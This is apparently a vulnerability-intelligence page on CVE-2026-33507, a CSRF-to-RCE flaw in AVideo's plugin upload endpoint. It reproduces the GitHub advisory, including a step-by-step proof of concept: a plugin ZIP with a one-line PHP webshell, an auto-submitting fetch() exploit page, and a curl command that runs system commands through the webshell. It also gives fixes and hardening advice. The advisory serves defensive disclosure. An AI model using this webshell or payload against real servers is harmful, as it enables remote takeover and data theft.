PHP
CVE-2026-33507
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious HTML with auto-submitting form
-
ExploitTrick admin into visiting attacker page
-
ExecutionBrowser sends authenticated request to plugin upload
-
ImpactExecute PHP webshell code on server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V3 - Web Frontend Security Anti-CSRF tokens, SameSite cookies
MITRE ATT&CK
1 technique across 1 tactic: Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires admin user to visit attacker-controlled webpage while authenticated to the application. Application must have HTTPS enabled with session.cookie_samesite='None'. No CSRF token validation on objects/pluginImport.json.php endpoint. |
| Impact | This vulnerability presents critical real-world risk despite requiring user interaction (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, score 8.8). The attack complexity is low, requires no privileges, and achieves complete system compromise through RCE. The UI:R requirement (admin must visit attacker page) is easily satisfied through phishing, malicious ads, or watering hole attacks targeting administrator demographics. A detailed proof-of-concept with working exploit code has been published in the GitHub security advisory GHSA-hv36-p4w4-6vmj, significantly lowering the barrier to exploitation. The vulnerability is automatable once the initial phishing succeeds, as the malicious page executes the attack silently without admin awareness. The technical impact is total loss of confidentiality, integrity, and availability with www-data level server access. While no EPSS score or KEV listing is provided in the intelligence data, the combination of public POC, ease of exploitation, zero privilege requirement, and RCE impact make this a high-priority remediation target for any organization running AVideo, particularly those with internet-facing instances where administrators might encounter external web content. |
| Exploit ScenarioDerived | An attacker hosts a weaponized webpage containing JavaScript that automatically submits a multipart/form-data POST request to the victim AVideo instance's pluginImport.json.php endpoint with a malicious plugin ZIP file embedded as base64 data. When an authenticated AVideo administrator visits the attacker's page while logged into their AVideo instance over HTTPS (through phishing, malvertising, or compromised legitimate sites), their browser automatically includes the SameSite=None session cookie with the cross-origin upload request. The server validates the admin session, extracts the malicious plugin to the web-accessible plugin directory including a secondary cmd.php webshell that bypasses content validation, and the attacker immediately gains Remote Code Execution by accessing the webshell URL with arbitrary system commands as the www-data user, enabling full server compromise, data exfiltration, and lateral movement. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 20, 2026
A Cross-Site Request Forgery (CSRF) vulnerability in the AVideo platform's plugin upload endpoint allows unauthenticated attackers to achieve Remote Code Execution by tricking authenticated administrators into visiting a malicious webpage. The vulnerability combines missing CSRF token validation on the pluginImport.json.php endpoint with explicitly configured SameSite=None session cookies over HTTPS, enabling cross-origin session hijacking. A proof-of-concept exploit has been published demonstrating full compromise by uploading a malicious plugin containing a PHP webshell.
RemediationAI
Apply patches available from the AVideo project by consulting the vendor security advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj for version-specific upgrade instructions. The primary fix requires adding CSRF token validation to objects/pluginImport.json.php using the existing verifyToken and globalToken mechanisms already deployed elsewhere in the application, and updating the upload form in view/managerPluginUpload.php to include and transmit the token. As a secondary hardening measure, consider changing the session.cookie_samesite configuration from None to Lax in objects/include_config.php unless cross-origin cookie inclusion is explicitly required for legitimate functionality, which would provide defense-in-depth against this and similar CSRF vectors across the application. Until patching is complete, implement compensating controls such as restricting plugin upload functionality to trusted network segments only, requiring out-of-band verification for plugin installations, or temporarily disabling the plugin upload feature if not operationally critical.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability affects the AVideo application (pkg:composer/wwbn_avideo), a PHP-based video platform. The root cause is CWE-352 (Cross-Site Request Forgery), where the plugin upload functionality at objects/pluginImport.json.php lacks CSRF protection mechanisms such as token validation or origin header checks. The application explicitly configures PHP session cookies with SameSite=None and Secure flags when running over HTTPS, which instructs browsers to include authentication cookies on cross-origin requests. Because multipart/form-data is a CORS-safelisted content type, attackers can use fetch API with no-cors mode and credentials=include to bypass preflight checks. The plugin validation logic thoroughly checks the main plugin file for inheritance from PluginAbstract and scans for path traversal and dangerous extensions like .phtml and .phar, but intentionally allows .php files in subdirectories without content validation, enabling webshell injection through secondary PHP files within the plugin ZIP archive.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.
Details
The root cause has two components working together:
1. SameSite=None on session cookies (objects/include_config.php:134-137):
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.
2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}The endpoint only checks User::isAdmin() via the session. There is:
- No CSRF token validation (the
verifyToken/globalTokenmechanism used elsewhere is absent) - No
allowOrigin()call (contrast withobjects/videoAddNew.json.phpwhich callsallowOrigin()at line 8) - No
RefererorOriginheader validation - No requirement for custom headers (e.g.,
X-Requested-With)
The upload form at view/managerPluginUpload.php also contains no CSRF token - it's a plain <form enctype="multipart/form-data"> with a file input.
Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect - plugin installation and PHP file extraction to the web-accessible plugin/ directory - is the objective.
Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.
PoC
Step 1: Create the malicious plugin ZIP
mkdir -p EvilPlugin
# Main file - passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
public function getTags() { return array(); }
public function getDescription() { return "test"; }
public function getName() { return "EvilPlugin"; }
public function getUUID() { return "evil-0000-0000-0000"; }
public function getPluginVersion() { return "1.0"; }
public function getEmptyDataObject() { return new stdClass(); }
}
PLUG
# Secondary file - webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL
zip -r evil-plugin.zip EvilPlugin/Step 2: Host the CSRF exploit page
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
const zipResp = await fetch('evil-plugin.zip');
const zipBlob = await zipResp.blob();
const formData = new FormData();
formData.append('input-b1', zipBlob, 'evil-plugin.zip');
fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
method: 'POST',
body: formData,
mode: 'no-cors',
credentials: 'include'
});
}
exploit();
</script>
</body>
</html>Step 3: Admin visits attacker's page while logged into AVideo over HTTPS
The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.
Step 4: Attacker accesses the webshell
curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
- Full server compromise: The webshell runs as the web server user (
www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system - only that an admin visits a page they control.
- Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The
no-corsmode means no visible error or redirect.
Recommended Fix
1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):
// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
// Add CSRF protection
allowOrigin();
// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
$obj->msg = "Invalid CSRF token";
die(json_encode($obj));
}2. Update the upload form in view/managerPluginUpload.php to include the token:
<form enctype="multipart/form-data">
<input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
<input id="input-b1" name="input-b1" type="file" class="">
</form>And pass it in the JavaScript upload config:
$('#input-b1').fileinput({
uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
// ...
});3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.
Executive ViewAI
A critical vulnerability in the AVideo platform allows attackers to remotely execute code by exploiting missing security controls on the plugin upload feature. Authenticated administrators are at immediate risk of being tricked into compromising the entire platform, potentially leading to data breach, service disruption, and system takeover.
Implement Web Application Firewall (WAF) rules to block POST requests to pluginImport.json.php; restrict plugin upload functionality at the network level; disable cross-origin requests to the vulnerable endpoint; enforce SameSite=Strict cookie policy if configurable; limit administrative access to VPN or IP whitelist only; implement continuous monitoring for unauthorized plugin uploads and suspicious PHP execution in the application directory.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-hv36-p4w4-6vmj
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB